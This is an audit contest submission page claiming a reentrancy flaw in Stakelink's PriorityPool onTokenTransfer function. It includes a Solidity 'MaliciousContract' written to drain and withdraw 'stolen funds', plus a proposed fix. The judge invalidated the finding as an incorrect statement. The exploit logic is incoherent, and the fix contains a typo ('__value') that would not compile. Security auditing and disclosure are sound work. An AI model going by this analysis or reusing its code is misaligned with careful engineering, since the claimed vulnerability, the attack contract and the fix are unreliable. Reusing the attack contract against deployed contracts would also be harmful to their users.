Liquid Staking
Stakelink
DeFiHardhatOracle
50,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Invalid

[M-1] Non-Adherence to CEI Pattern in onTokenTransfer Function

ghufranhassan1

Summary

The onTokenTransfer function in the PriorityPool contract does not adhere to the Checks-Effects-Interactions (CEI) pattern, potentially exposing the contract to reentrancy vulnerabilities.

function onTokenTransfer(address _sender, uint256 _value, bytes calldata _calldata) external {
if (_value == 0) revert InvalidValue();
​
(bool shouldQueue, bytes[] memory data) = abi.decode(_calldata, (bool, bytes[]));
​
if (msg.sender == address(token)) {
_deposit(_sender, _value, shouldQueue, data);
} else if (msg.sender == address(stakingPool)) {
uint256 amountQueued = _withdraw(_sender, _value, shouldQueue);
token.safeTransfer(_sender, _value - amountQueued);
} else {
revert UnauthorizedToken();
}
}
​

Vulnerability Details

The onTokenTransfer function performs external calls to _deposit, _withdraw, and safeTransfer without isolating these interactions after state changes. This lack of adherence to the CEI pattern could allow an attacker to exploit reentrancy vulnerabilities, especially if any of the called functions interact with untrusted contracts.

Impact

Unintended state changes could occur if reentrancy is exploited, leading to incorrect balances or unauthorized token transfers.

Tools Used

Manual Review

Steps to Exploit:

pragma solidity ^0.8.15;
​
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
​
contract MaliciousContract {
PriorityPool public targetPool;
IERC20 public token;
address public owner;
uint256 public exploitAmount;
​
constructor(address _targetPool, address _token) {
targetPool = PriorityPool(_targetPool);
token = IERC20(_token);
owner = msg.sender;
}
​
// Initiates the attack by transferring tokens to the PriorityPool
function initiateAttack(uint256 _amount) external {
require(msg.sender == owner, "Not authorized");
exploitAmount = _amount;
token.transfer(address(targetPool), _amount);
}
​
// Fallback function to exploit reentrancy
fallback() external {
if (address(targetPool).balance >= exploitAmount) {
targetPool.withdraw(exploitAmount, 0, 0, new bytes32[](0), false, false);
}
}
​
// Withdraw stolen funds
function withdrawStolenFunds() external {
require(msg.sender == owner, "Not authorized");
token.transfer(owner, token.balanceOf(address(this)));
}
}
​
interface PriorityPool {
function withdraw(
uint256 _amountToWithdraw,
uint256 _amount,
uint256 _sharesAmount,
bytes32[] calldata _merkleProof,
bool _shouldUnqueue,
bool _shouldQueueWithdrawal
) external;
}

  • Users deposit tokens into the PriorityPool to earn staking rewards.

  • The platform allows users to withdraw their tokens, either directly or by queuing them for later withdrawal.

  • The onTokenTransfer function processes deposits and withdrawals but does not strictly adhere to the Checks-Effects-Interactions (CEI) pattern.

  • This could allow a reentrancy attack, where an attacker repeatedly calls the function to manipulate the contract's state or drain funds

  • The attacker calls the onTokenTransfer function of PriorityPool by transferring tokens from MaliciousContract to PriorityPool.

  • This triggers the onTokenTransfer function, which proceeds to call _withdraw if the msg.sender is the stakingPool.

    Step 2: Reentrant Call

    • Inside _withdraw, if there is an external call (e.g., to another contract or a callback), the MaliciousContract exploits this to re-enter onTokenTransfer.

    • The attacker uses this reentrant call to manipulate the state, such as increasing the queued tokens or withdrawing more tokens than allowed.

    Step 3: Draining Funds

    • By repeatedly re-entering the contract, the attacker can manipulate the state to drain tokens from the PriorityPool.

    • The attacker continues this loop until the contract's balance is significantly reduced or depleted.

Recommendations

Apply CEI pattern in the onTokenTransfer function

  • Added a check to ensure msg.sender is either token or stakingPool before proceeding with any logic.

  • Introduced _processDeposit and _processWithdrawal internal functions to handle state changes separately.

  • Captured amountQueued from _processWithdrawal to use in the interaction phase.

  • Moved the safeTransfer call to a distinct interaction phase after all state changes are complete, ensuring external calls are made only after internal state updates.

function onTokenTransfer(address _sender, uint256 _value, bytes calldata _calldata) external {
if (_value == 0) revert InvalidValue();
​
(bool shouldQueue, bytes[] memory data) = abi.decode(_calldata, (bool, bytes[]));
​
// Checks
if (msg.sender != address(token) && msg.sender != address(stakingPool)) {
revert UnauthorizedToken();
}
​
// Effects
if (msg.sender == address(token)) {
// Handle deposit logic
_processDeposit(_sender, _value, shouldQueue, data);
} else if (msg.sender == address(stakingPool)) {
// Handle withdrawal logic
uint256 amountQueued = _processWithdrawal(_sender, _value, shouldQueue);
// Interactions
token.safeTransfer(_sender, _value - amountQueued);
}
}
​
function _processDeposit(address _sender, uint256 _value, bool shouldQueue, bytes[] memory data) internal {
// Implement deposit logic here, updating state variables as needed
_deposit(_sender, _value, shouldQueue, data);
}
​
function _processWithdrawal(address _sender, uint256 _value, bool shouldQueue) internal returns (uint256) {
// Implement withdrawal logic here, updating state variables as needed
return _withdraw(_sender, __value, shouldQueue);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.